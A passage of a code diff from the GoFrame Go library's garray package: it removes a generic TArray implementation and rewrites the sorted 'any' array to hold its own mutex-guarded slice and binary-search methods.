-// doRemoveWithoutLock removes an item by index without lock.
-func (a *TArray[T]) doRemoveWithoutLock(index int) (value T, found bool) {
-	if index < 0 || index >= len(a.array) {
-		found = false
-		return
-	}
-	// Determine array boundaries when deleting to improve deletion efficiency.
-	if index == 0 {
-		value := a.array[0]
-		a.array = a.array[1:]
-		return value, true
-	} else if index == len(a.array)-1 {
-		value := a.array[index]
-		a.array = a.array[:index]
-		return value, true
-	}
-	// If it is a non-boundary delete,
-	// it will involve the creation of an array,
-	// then the deletion is less efficient.
-	value = a.array[index]
-	a.array = append(a.array[:index], a.array[index+1:]...)
-	return value, true
-}
-
-// RemoveValue removes an item by value.
-// It returns true if value is found in the array, or else false if not found.
-func (a *TArray[T]) RemoveValue(value T) bool {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if i := a.doSearchWithoutLock(value); i != -1 {
-		a.doRemoveWithoutLock(i)
-		return true
-	}
-	return false
-}
-
-// RemoveValues removes multiple items by `values`.
-func (a *TArray[T]) RemoveValues(values ...T) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for _, value := range values {
-		if i := a.doSearchWithoutLock(value); i != -1 {
-			a.doRemoveWithoutLock(i)
-		}
-	}
-}
-
-// PushLeft pushes one or multiple items to the beginning of array.
-func (a *TArray[T]) PushLeft(value ...T) *TArray[T] {
-	a.mu.Lock()
-	a.array = append(value, a.array...)
-	a.mu.Unlock()
-	return a
-}
-
-// PushRight pushes one or multiple items to the end of array.
-// It equals to Append.
-func (a *TArray[T]) PushRight(value ...T) *TArray[T] {
-	a.mu.Lock()
-	a.array = append(a.array, value...)
-	a.mu.Unlock()
-	return a
-}
-
-// PopRand randomly pops and return an item out of array.
-// Note that if the array is empty, the `found` is false.
-func (a *TArray[T]) PopRand() (value T, found bool) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	return a.doRemoveWithoutLock(grand.Intn(len(a.array)))
-}
-
-// PopRands randomly pops and returns `size` items out of array.
-func (a *TArray[T]) PopRands(size int) []T {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if size <= 0 || len(a.array) == 0 {
-		return nil
-	}
-	if size >= len(a.array) {
-		size = len(a.array)
-	}
-	array := make([]T, size)
-	for i := 0; i < size; i++ {
-		array[i], _ = a.doRemoveWithoutLock(grand.Intn(len(a.array)))
-	}
-	return array
-}
-
-// PopLeft pops and returns an item from the beginning of array.
-// Note that if the array is empty, the `found` is false.
-func (a *TArray[T]) PopLeft() (value T, found bool) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if len(a.array) == 0 {
-		found = false
-		return
-	}
-	value = a.array[0]
-	a.array = a.array[1:]
-	return value, true
-}
-
-// PopRight pops and returns an item from the end of array.
-// Note that if the array is empty, the `found` is false.
-func (a *TArray[T]) PopRight() (value T, found bool) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	index := len(a.array) - 1
-	if index < 0 {
-		found = false
-		return
-	}
-	value = a.array[index]
-	a.array = a.array[:index]
-	return value, true
-}
-
-// PopLefts pops and returns `size` items from the beginning of array.
-func (a *TArray[T]) PopLefts(size int) []T {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if size <= 0 || len(a.array) == 0 {
-		return nil
-	}
-	if size >= len(a.array) {
-		array := a.array
-		a.array = a.array[:0]
-		return array
-	}
-	value := a.array[0:size]
-	a.array = a.array[size:]
-	return value
-}
-
-// PopRights pops and returns `size` items from the end of array.
-func (a *TArray[T]) PopRights(size int) []T {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if size <= 0 || len(a.array) == 0 {
-		return nil
-	}
-	index := len(a.array) - size
-	if index <= 0 {
-		array := a.array
-		a.array = a.array[:0]
-		return array
-	}
-	value := a.array[index:]
-	a.array = a.array[:index]
-	return value
-}
-
-// Range picks and returns items by range, like array[start:end].
-// Notice, if in concurrent-safe usage, it returns a copy of slice;
-// else a pointer to the underlying data.
-//
-// If `end` is negative, then the offset will start from the end of array.
-// If `end` is omitted, then the sequence will have everything from start up
-// until the end of the array.
-func (a *TArray[T]) Range(start int, end ...int) []T {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	offsetEnd := len(a.array)
-	if len(end) > 0 && end[0] < offsetEnd {
-		offsetEnd = end[0]
-	}
-	if start > offsetEnd {
-		return nil
-	}
-	if start < 0 {
-		start = 0
-	}
-	array := ([]T)(nil)
-	if a.mu.IsSafe() {
-		array = make([]T, offsetEnd-start)
-		copy(array, a.array[start:offsetEnd])
-	} else {
-		array = a.array[start:offsetEnd]
-	}
-	return array
-}
-
-// SubSlice returns a slice of elements from the array as specified
-// by the `offset` and `size` parameters.
-// If in concurrent safe usage, it returns a copy of the slice; else a pointer.
-//
-// If offset is non-negative, the sequence will start at that offset in the array.
-// If offset is negative, the sequence will start that far from the end of the array.
-//
-// If length is given and is positive, then the sequence will have up to that many elements in it.
-// If the array is shorter than the length, then only the available array elements will be present.
-// If length is given and is negative then the sequence will stop that many elements from the end of the array.
-// If it is omitted, then the sequence will have everything from offset up until the end of the array.
-//
-// Any possibility crossing the left border of array, it will fail.
-func (a *TArray[T]) SubSlice(offset int, length ...int) []T {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	size := len(a.array)
-	if len(length) > 0 {
-		size = length[0]
-	}
-	if offset > len(a.array) {
-		return nil
-	}
-	if offset < 0 {
-		offset = len(a.array) + offset
-		if offset < 0 {
-			return nil
-		}
-	}
-	if size < 0 {
-		offset += size
-		size = -size
-		if offset < 0 {
-			return nil
-		}
-	}
-	end := offset + size
-	if end > len(a.array) {
-		end = len(a.array)
-		size = len(a.array) - offset
-	}
-	if a.mu.IsSafe() {
-		s := make([]T, size)
-		copy(s, a.array[offset:])
-		return s
-	} else {
-		return a.array[offset:end]
-	}
-}
-
-// Append is alias of PushRight, please See PushRight.
-func (a *TArray[T]) Append(value ...T) *TArray[T] {
-	a.PushRight(value...)
-	return a
-}
-
-// Len returns the length of array.
-func (a *TArray[T]) Len() int {
-	a.mu.RLock()
-	length := len(a.array)
-	a.mu.RUnlock()
-	return length
-}
-
-// Slice returns the underlying data of array.
-// Note that, if it's in concurrent-safe usage, it returns a copy of underlying data,
-// or else a pointer to the underlying data.
-func (a *TArray[T]) Slice() []T {
-	if a.mu.IsSafe() {
-		a.mu.RLock()
-		defer a.mu.RUnlock()
-		array := make([]T, len(a.array))
-		copy(array, a.array)
-		return array
-	} else {
-		return a.array
-	}
-}
-
-// Interfaces returns current array as []any.
-func (a *TArray[T]) Interfaces() []any {
-	return tToAnySlice(a.Slice())
-}
-
-// Clone returns a new array, which is a copy of current array.
-func (a *TArray[T]) Clone() (newArray *TArray[T]) {
-	a.mu.RLock()
-	array := make([]T, len(a.array))
-	copy(array, a.array)
-	a.mu.RUnlock()
-	return NewTArrayFrom(array, a.mu.IsSafe())
-}
-
-// Clear deletes all items of current array.
-func (a *TArray[T]) Clear() *TArray[T] {
-	a.mu.Lock()
-	if len(a.array) > 0 {
-		a.array = make([]T, 0)
-	}
-	a.mu.Unlock()
-	return a
-}
-
-// Contains checks whether a value exists in the array.
-func (a *TArray[T]) Contains(value T) bool {
-	return a.Search(value) != -1
-}
-
-// Search searches array by `value`, returns the index of `value`,
-// or returns -1 if not exists.
-func (a *TArray[T]) Search(value T) int {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	return a.doSearchWithoutLock(value)
-}
-
-func (a *TArray[T]) doSearchWithoutLock(value T) int {
-	if len(a.array) == 0 {
-		return -1
-	}
-	result := -1
-	for index, v := range a.array {
-		if v == value {
-			result = index
-			break
-		}
-	}
-	return result
-}
-
-// Unique uniques the array, clear repeated items.
-// Example: [1,1,2,3,2] -> [1,2,3]
-func (a *TArray[T]) Unique() *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if len(a.array) == 0 {
-		return a
-	}
-	var (
-		ok          bool
-		temp        T
-		uniqueSet   = make(map[T]struct{})
-		uniqueArray = make([]T, 0, len(a.array))
-	)
-	for i := 0; i < len(a.array); i++ {
-		temp = a.array[i]
-		if _, ok = uniqueSet[temp]; ok {
-			continue
-		}
-		uniqueSet[temp] = struct{}{}
-		uniqueArray = append(uniqueArray, temp)
-	}
-	a.array = uniqueArray
-	return a
-}
-
-// LockFunc locks writing by callback function `f`.
-func (a *TArray[T]) LockFunc(f func(array []T)) *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	f(a.array)
-	return a
-}
-
-// RLockFunc locks reading by callback function `f`.
-func (a *TArray[T]) RLockFunc(f func(array []T)) *TArray[T] {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	f(a.array)
-	return a
-}
-
-// Merge merges `array` into current array.
-// The parameter `array` can be any garray or slice type.
-// The difference between Merge and Append is Append supports only specified slice type,
-// but Merge supports more parameter types.
-func (a *TArray[T]) Merge(array any) *TArray[T] {
-	var vals []T
-	switch v := array.(type) {
-	case *SortedTArray[T]:
-		vals = v.Slice()
-	case *TArray[T]:
-		vals = v.Slice()
-	case []T:
-		vals = v
-	default:
-		interfaces := gconv.Interfaces(v)
-		if err := gconv.Scan(interfaces, &vals); err != nil {
-			panic(err)
-		}
-	}
-
-	return a.Append(vals...)
-}
-
-// Fill fills an array with num entries of the value `value`,
-// keys starting at the `startIndex` parameter.
-func (a *TArray[T]) Fill(startIndex int, num int, value T) error {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if startIndex < 0 || startIndex > len(a.array) {
-		return gerror.NewCodef(gcode.CodeInvalidParameter, "index %d out of array range %d", startIndex, len(a.array))
-	}
-	for i := startIndex; i < startIndex+num; i++ {
-		if i > len(a.array)-1 {
-			a.array = append(a.array, value)
-		} else {
-			a.array[i] = value
-		}
-	}
-	return nil
-}
-
-// Chunk splits an array into multiple arrays,
-// the size of each array is determined by `size`.
-// The last chunk may contain less than size elements.
-func (a *TArray[T]) Chunk(size int) [][]T {
-	if size < 1 {
-		return nil
-	}
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	length := len(a.array)
-	chunks := int(math.Ceil(float64(length) / float64(size)))
-	var n [][]T
-	for i, end := 0, 0; chunks > 0; chunks-- {
-		end = (i + 1) * size
-		if end > length {
-			end = length
-		}
-		n = append(n, a.array[i*size:end])
-		i++
-	}
-	return n
-}
-
-// Pad pads array to the specified length with `value`.
-// If size is positive then the array is padded on the right, or negative on the left.
-// If the absolute value of `size` is less than or equal to the length of the array
-// then no padding takes place.
-func (a *TArray[T]) Pad(size int, val T) *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if size == 0 || (size > 0 && size < len(a.array)) || (size < 0 && size > -len(a.array)) {
-		return a
-	}
-	n := size
-	if size < 0 {
-		n = -size
-	}
-	n -= len(a.array)
-	tmp := make([]T, n)
-	for i := 0; i < n; i++ {
-		tmp[i] = val
-	}
-	if size > 0 {
-		a.array = append(a.array, tmp...)
-	} else {
-		a.array = append(tmp, a.array...)
-	}
-	return a
-}
-
-// Rand randomly returns one item from array(no deleting).
-func (a *TArray[T]) Rand() (value T, found bool) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	if len(a.array) == 0 {
-		found = false
-		return
-	}
-	return a.array[grand.Intn(len(a.array))], true
-}
-
-// Rands randomly returns `size` items from array(no deleting).
-func (a *TArray[T]) Rands(size int) []T {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	if size <= 0 || len(a.array) == 0 {
-		return nil
-	}
-	array := make([]T, size)
-	for i := 0; i < size; i++ {
-		array[i] = a.array[grand.Intn(len(a.array))]
-	}
-	return array
-}
-
-// Shuffle randomly shuffles the array.
-func (a *TArray[T]) Shuffle() *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for i, v := range grand.Perm(len(a.array)) {
-		a.array[i], a.array[v] = a.array[v], a.array[i]
-	}
-	return a
-}
-
-// Reverse makes array with elements in reverse order.
-func (a *TArray[T]) Reverse() *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for i, j := 0, len(a.array)-1; i < j; i, j = i+1, j-1 {
-		a.array[i], a.array[j] = a.array[j], a.array[i]
-	}
-	return a
-}
-
-// Join joins array elements with a string `glue`.
-func (a *TArray[T]) Join(glue string) string {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	if len(a.array) == 0 {
-		return ""
-	}
-	buffer := bytes.NewBuffer(nil)
-	for k, v := range a.array {
-		buffer.WriteString(gconv.String(v))
-		if k != len(a.array)-1 {
-			buffer.WriteString(glue)
-		}
-	}
-	return buffer.String()
-}
-
-// CountValues counts the number of occurrences of all values in the array.
-func (a *TArray[T]) CountValues() map[T]int {
-	m := make(map[T]int)
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	for _, v := range a.array {
-		m[v]++
-	}
-	return m
-}
-
-// Iterator is alias of IteratorAsc.
-func (a *TArray[T]) Iterator(f func(k int, v T) bool) {
-	a.IteratorAsc(f)
-}
-
-// IteratorAsc iterates the array readonly in ascending order with given callback function `f`.
-// If `f` returns true, then it continues iterating; or false to stop.
-func (a *TArray[T]) IteratorAsc(f func(k int, v T) bool) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	for k, v := range a.array {
-		if !f(k, v) {
-			break
-		}
-	}
-}
-
-// IteratorDesc iterates the array readonly in descending order with given callback function `f`.
-// If `f` returns true, then it continues iterating; or false to stop.
-func (a *TArray[T]) IteratorDesc(f func(k int, v T) bool) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	for i := len(a.array) - 1; i >= 0; i-- {
-		if !f(i, a.array[i]) {
-			break
-		}
-	}
-}
-
-// String returns current array as a string, which implements like json.Marshal does.
-func (a *TArray[T]) String() string {
-	if a == nil {
-		return ""
-	}
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	buffer := bytes.NewBuffer(nil)
-	buffer.WriteByte('[')
-	s := ""
-	for k, v := range a.array {
-		s = gconv.String(v)
-		if gstr.IsNumeric(s) {
-			buffer.WriteString(s)
-		} else {
-			buffer.WriteString(`"` + gstr.QuoteMeta(s, `"\`) + `"`)
-		}
-		if k != len(a.array)-1 {
-			buffer.WriteByte(',')
-		}
-	}
-	buffer.WriteByte(']')
-	return buffer.String()
-}
-
-// MarshalJSON implements the interface MarshalJSON for json.Marshal.
-// Note that do not use pointer as its receiver here.
-func (a TArray[T]) MarshalJSON() ([]byte, error) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	return json.Marshal(a.array)
-}
-
-// UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
-func (a *TArray[T]) UnmarshalJSON(b []byte) error {
-	if a.array == nil {
-		a.array = make([]T, 0)
-	}
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if err := json.UnmarshalUseNumber(b, &a.array); err != nil {
-		return err
-	}
-	return nil
-}
-
-// UnmarshalValue is an interface implement which sets any type of value for array.
-func (a *TArray[T]) UnmarshalValue(value any) error {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	switch value.(type) {
-	case string, []byte:
-		return json.UnmarshalUseNumber(gconv.Bytes(value), &a.array)
-	default:
-		if err := gconv.Scan(gconv.SliceAny(value), &a.array); err != nil {
-			return err
-		}
-	}
-	return nil
-}
-
-// Filter iterates array and filters elements using custom callback function.
-// It removes the element from array if callback function `filter` returns true,
-// it or else does nothing and continues iterating.
-func (a *TArray[T]) Filter(filter func(index int, value T) bool) *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for i := 0; i < len(a.array); {
-		if filter(i, a.array[i]) {
-			a.array = append(a.array[:i], a.array[i+1:]...)
-		} else {
-			i++
-		}
-	}
-	return a
-}
-
-// FilterNil removes all nil value of the array.
-func (a *TArray[T]) FilterNil() *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for i := 0; i < len(a.array); {
-		if empty.IsNil(a.array[i]) {
-			a.array = append(a.array[:i], a.array[i+1:]...)
-		} else {
-			i++
-		}
-	}
-	return a
-}
-
-// FilterEmpty removes all empty value of the array.
-// Values like: 0, nil, false, "", len(slice/map/chan) == 0 are considered empty.
-func (a *TArray[T]) FilterEmpty() *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for i := 0; i < len(a.array); {
-		if empty.IsEmpty(a.array[i]) {
-			a.array = append(a.array[:i], a.array[i+1:]...)
-		} else {
-			i++
-		}
-	}
-	return a
-}
-
-// Walk applies a user supplied function `f` to every item of array.
-func (a *TArray[T]) Walk(f func(value T) T) *TArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for i, v := range a.array {
-		a.array[i] = f(v)
-	}
-	return a
-}
-
-// IsEmpty checks whether the array is empty.
-func (a *TArray[T]) IsEmpty() bool {
-	return a.Len() == 0
-}
-
-// DeepCopy implements interface for deep copy of current type.
-func (a *TArray[T]) DeepCopy() any {
-	if a == nil {
-		return nil
-	}
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	newSlice := make([]T, len(a.array))
-	for i, v := range a.array {
-		newSlice[i] = deepcopy.Copy(v).(T)
-	}
-	return NewTArrayFrom(newSlice, a.mu.IsSafe())
-}

container/garray/garray_sorted_any.go

@@ -7,11 +7,19 @@
 package garray
 
 import (
+	"bytes"
 	"fmt"
+	"math"
 	"sort"
-	"sync"
 
+	"github.com/gogf/gf/v2/internal/deepcopy"
+	"github.com/gogf/gf/v2/internal/empty"
+	"github.com/gogf/gf/v2/internal/json"
+	"github.com/gogf/gf/v2/internal/rwmutex"
+	"github.com/gogf/gf/v2/text/gstr"
 	"github.com/gogf/gf/v2/util/gconv"
+	"github.com/gogf/gf/v2/util/grand"
+	"github.com/gogf/gf/v2/util/gutil"
 )
 
 // SortedArray is a golang sorted array with rich features.
@@ -20,17 +28,10 @@ import (
 // It contains a concurrent-safe/unsafe switch, which should be set
 // when its initialization and cannot be changed then.
 type SortedArray struct {
-	*SortedTArray[any]
-	once sync.Once
-}
-
-// lazyInit lazily initializes the array.
-func (a *SortedArray) lazyInit() {
-	a.once.Do(func() {
-		if a.SortedTArray == nil {
-			a.SortedTArray = NewSortedTArraySize[any](0, nil, false)
-		}
-	})
+	mu         rwmutex.RWMutex
+	array      []interface{}
+	unique     bool                       // Whether enable unique feature(false)
+	comparator func(a, b interface{}) int // Comparison function(it returns -1: a < b; 0: a == b; 1: a > b)
 }
 
 // NewSortedArray creates and returns an empty sorted array.
@@ -39,26 +40,28 @@ func (a *SortedArray) lazyInit() {
 // if it returns value < 0, means `a` < `b`; the `a` will be inserted before `b`;
 // if it returns value = 0, means `a` = `b`; the `a` will be replaced by     `b`;
 // if it returns value > 0, means `a` > `b`; the `a` will be inserted after  `b`;
-func NewSortedArray(comparator func(a, b any) int, safe ...bool) *SortedArray {
+func NewSortedArray(comparator func(a, b interface{}) int, safe ...bool) *SortedArray {
 	return NewSortedArraySize(0, comparator, safe...)
 }
 
 // NewSortedArraySize create and returns an sorted array with given size and cap.
 // The parameter `safe` is used to specify whether using array in concurrent-safety,
 // which is false in default.
-func NewSortedArraySize(cap int, comparator func(a, b any) int, safe ...bool) *SortedArray {
+func NewSortedArraySize(cap int, comparator func(a, b interface{}) int, safe ...bool) *SortedArray {
 	return &SortedArray{
-		SortedTArray: NewSortedTArraySize(cap, comparator, safe...),
+		mu:         rwmutex.Create(safe...),
+		array:      make([]interface{}, 0, cap),
+		comparator: comparator,
 	}
 }
 
 // NewSortedArrayRange creates and returns an array by a range from `start` to `end`
 // with step value `step`.
-func NewSortedArrayRange(start, end, step int, comparator func(a, b any) int, safe ...bool) *SortedArray {
+func NewSortedArrayRange(start, end, step int, comparator func(a, b interface{}) int, safe ...bool) *SortedArray {
 	if step == 0 {
 		panic(fmt.Sprintf(`invalid step value: %d`, step))
 	}
-	slice := make([]any, 0)
+	slice := make([]interface{}, 0)
 	index := 0
 	for i := start; i <= end; i += step {
 		slice = append(slice, i)
@@ -70,7 +73,7 @@ func NewSortedArrayRange(start, end, step int, comparator func(a, b any) int, sa
 // NewSortedArrayFrom creates and returns an sorted array with given slice `array`.
 // The parameter `safe` is used to specify whether using array in concurrent-safety,
 // which is false in default.
-func NewSortedArrayFrom(array []any, comparator func(a, b any) int, safe ...bool) *SortedArray {
+func NewSortedArrayFrom(array []interface{}, comparator func(a, b interface{}) int, safe ...bool) *SortedArray {
 	a := NewSortedArraySize(0, comparator, safe...)
 	a.array = array
 	sort.Slice(a.array, func(i, j int) bool {
@@ -82,120 +85,233 @@ func NewSortedArrayFrom(array []any, comparator func(a, b any) int, safe ...bool
 // NewSortedArrayFromCopy creates and returns an sorted array from a copy of given slice `array`.
 // The parameter `safe` is used to specify whether using array in concurrent-safety,
 // which is false in default.
-func NewSortedArrayFromCopy(array []any, comparator func(a, b any) int, safe ...bool) *SortedArray {
-	newArray := make([]any, len(array))
+func NewSortedArrayFromCopy(array []interface{}, comparator func(a, b interface{}) int, safe ...bool) *SortedArray {
+	newArray := make([]interface{}, len(array))
 	copy(newArray, array)
 	return NewSortedArrayFrom(newArray, comparator, safe...)
 }
 
 // At returns the value by the specified index.
 // If the given `index` is out of range of the array, it returns `nil`.
-func (a *SortedArray) At(index int) (value any) {
-	a.lazyInit()
-	return a.SortedTArray.At(index)
+func (a *SortedArray) At(index int) (value interface{}) {
+	value, _ = a.Get(index)
+	return
 }
 
 // SetArray sets the underlying slice array with the given `array`.
-func (a *SortedArray) SetArray(array []any) *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.SetArray(array)
+func (a *SortedArray) SetArray(array []interface{}) *SortedArray {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	a.array = array
+	sort.Slice(a.array, func(i, j int) bool {
+		return a.getComparator()(a.array[i], a.array[j]) < 0
+	})
 	return a
 }
 
 // SetComparator sets/changes the comparator for sorting.
 // It resorts the array as the comparator is changed.
-func (a *SortedArray) SetComparator(comparator func(a, b any) int) {
-	a.lazyInit()
-	a.SortedTArray.SetComparator(comparator)
+func (a *SortedArray) SetComparator(comparator func(a, b interface{}) int) {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	a.comparator = comparator
+	sort.Slice(a.array, func(i, j int) bool {
+		return a.getComparator()(a.array[i], a.array[j]) < 0
+	})
 }
 
 // Sort sorts the array in increasing order.
 // The parameter `reverse` controls whether sort
 // in increasing order(default) or decreasing order
 func (a *SortedArray) Sort() *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.Sort()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	sort.Slice(a.array, func(i, j int) bool {
+		return a.getComparator()(a.array[i], a.array[j]) < 0
+	})
 	return a
 }
 
 // Add adds one or multiple values to sorted array, the array always keeps sorted.
 // It's alias of function Append, see Append.
-func (a *SortedArray) Add(values ...any) *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.Add(values...)
-	return a
+func (a *SortedArray) Add(values ...interface{}) *SortedArray {
+	return a.Append(values...)
 }
 
 // Append adds one or multiple values to sorted array, the array always keeps sorted.
-func (a *SortedArray) Append(values ...any) *SortedArray {
-	a.SortedTArray.Append(values...)
+func (a *SortedArray) Append(values ...interface{}) *SortedArray {
+	if len(values) == 0 {
+		return a
+	}
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for _, value := range values {
+		index, cmp := a.binSearch(value, false)
+		if a.unique && cmp == 0 {
+			continue
+		}
+		if index < 0 {
+			a.array = append(a.array, value)
+			continue
+		}
+		if cmp > 0 {
+			index++
+		}
+		a.array = append(a.array[:index], append([]interface{}{value}, a.array[index:]...)...)
+	}
 	return a
 }
 
 // Get returns the value by the specified index.
 // If the given `index` is out of range of the array, the `found` is false.
-func (a *SortedArray) Get(index int) (value any, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.Get(index)
+func (a *SortedArray) Get(index int) (value interface{}, found bool) {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if index < 0 || index >= len(a.array) {
+		return nil, false
+	}
+	return a.array[index], true
 }
 
 // Remove removes an item by index.
 // If the given `index` is out of range of the array, the `found` is false.
-func (a *SortedArray) Remove(index int) (value any, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.Remove(index)
+func (a *SortedArray) Remove(index int) (value interface{}, found bool) {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	return a.doRemoveWithoutLock(index)
+}
+
+// doRemoveWithoutLock removes an item by index without lock.
+func (a *SortedArray) doRemoveWithoutLock(index int) (value interface{}, found bool) {
+	if index < 0 || index >= len(a.array) {
+		return nil, false
+	}
+	// Determine array boundaries when deleting to improve deletion efficiency.
+	if index == 0 {
+		value := a.array[0]
+		a.array = a.array[1:]
+		return value, true
+	} else if index == len(a.array)-1 {
+		value := a.array[index]
+		a.array = a.array[:index]
+		return value, true
+	}
+	// If it is a non-boundary delete,
+	// it will involve the creation of an array,
+	// then the deletion is less efficient.
+	value = a.array[index]
+	a.array = append(a.array[:index], a.array[index+1:]...)
+	return value, true
 }
 
 // RemoveValue removes an item by value.
 // It returns true if value is found in the array, or else false if not found.
-func (a *SortedArray) RemoveValue(value any) bool {
-	a.lazyInit()
-	return a.SortedTArray.RemoveValue(value)
+func (a *SortedArray) RemoveValue(value interface{}) bool {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if i, r := a.binSearch(value, false); r == 0 {
+		_, res := a.doRemoveWithoutLock(i)
+		return res
+	}
+	return false
 }
 
 // RemoveValues removes an item by `values`.
-func (a *SortedArray) RemoveValues(values ...any) {
-	a.lazyInit()
-	a.SortedTArray.RemoveValues(values...)
+func (a *SortedArray) RemoveValues(values ...interface{}) {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for _, value := range values {
+		if i, r := a.binSearch(value, false); r == 0 {
+			a.doRemoveWithoutLock(i)
+		}
+	}
 }
 
 // PopLeft pops and returns an item from the beginning of array.
 // Note that if the array is empty, the `found` is false.
-func (a *SortedArray) PopLeft() (value any, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.PopLeft()
+func (a *SortedArray) PopLeft() (value interface{}, found bool) {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if len(a.array) == 0 {
+		return nil, false
+	}
+	value = a.array[0]
+	a.array = a.array[1:]
+	return value, true
 }
 
 // PopRight pops and returns an item from the end of array.
 // Note that if the array is empty, the `found` is false.
-func (a *SortedArray) PopRight() (value any, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.PopRight()
+func (a *SortedArray) PopRight() (value interface{}, found bool) {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	index := len(a.array) - 1
+	if index < 0 {
+		return nil, false
+	}
+	value = a.array[index]
+	a.array = a.array[:index]
+	return value, true
 }
 
 // PopRand randomly pops and return an item out of array.
 // Note that if the array is empty, the `found` is false.
-func (a *SortedArray) PopRand() (value any, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.PopRand()
+func (a *SortedArray) PopRand() (value interface{}, found bool) {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	return a.doRemoveWithoutLock(grand.Intn(len(a.array)))
 }
 
 // PopRands randomly pops and returns `size` items out of array.
-func (a *SortedArray) PopRands(size int) []any {
-	a.lazyInit()
-	return a.SortedTArray.PopRands(size)
+func (a *SortedArray) PopRands(size int) []interface{} {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	if size >= len(a.array) {
+		size = len(a.array)
+	}
+	array := make([]interface{}, size)
+	for i := 0; i < size; i++ {
+		array[i], _ = a.doRemoveWithoutLock(grand.Intn(len(a.array)))
+	}
+	return array
 }
 
 // PopLefts pops and returns `size` items from the beginning of array.
-func (a *SortedArray) PopLefts(size int) []any {
-	a.lazyInit()
-	return a.SortedTArray.PopLefts(size)
+func (a *SortedArray) PopLefts(size int) []interface{} {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	if size >= len(a.array) {
+		array := a.array
+		a.array = a.array[:0]
+		return array
+	}
+	value := a.array[0:size]
+	a.array = a.array[size:]
+	return value
 }
 
 // PopRights pops and returns `size` items from the end of array.
-func (a *SortedArray) PopRights(size int) []any {
-	a.lazyInit()
-	return a.SortedTArray.PopRights(size)
+func (a *SortedArray) PopRights(size int) []interface{} {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	index := len(a.array) - size
+	if index <= 0 {
+		array := a.array
+		a.array = a.array[:0]
+		return array
+	}
+	value := a.array[index:]
+	a.array = a.array[:index]
+	return value
 }
 
 // Range picks and returns items by range, like array[start:end].
@@ -205,8 +321,27 @@ func (a *SortedArray) PopRights(size int) []any {
 // If `end` is negative, then the offset will start from the end of array.
 // If `end` is omitted, then the sequence will have everything from start up
 // until the end of the array.
-func (a *SortedArray) Range(start int, end ...int) []any {
-	return a.SortedTArray.Range(start, end...)
+func (a *SortedArray) Range(start int, end ...int) []interface{} {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	offsetEnd := len(a.array)
+	if len(end) > 0 && end[0] < offsetEnd {
+		offsetEnd = end[0]
+	}
+	if start > offsetEnd {
+		return nil
+	}
+	if start < 0 {
+		start = 0
+	}
+	array := ([]interface{})(nil)
+	if a.mu.IsSafe() {
+		array = make([]interface{}, offsetEnd-start)
+		copy(array, a.array[start:offsetEnd])
+	} else {
+		array = a.array[start:offsetEnd]
+	}
+	return array
 }
 
 // SubSlice returns a slice of elements from the array as specified
@@ -222,92 +357,199 @@ func (a *SortedArray) Range(start int, end ...int) []any {
 // If it is omitted, then the sequence will have everything from offset up until the end of the array.
 //
 // Any possibility crossing the left border of array, it will fail.
-func (a *SortedArray) SubSlice(offset int, length ...int) []any {
-	a.lazyInit()
-	return a.SortedTArray.SubSlice(offset, length...)
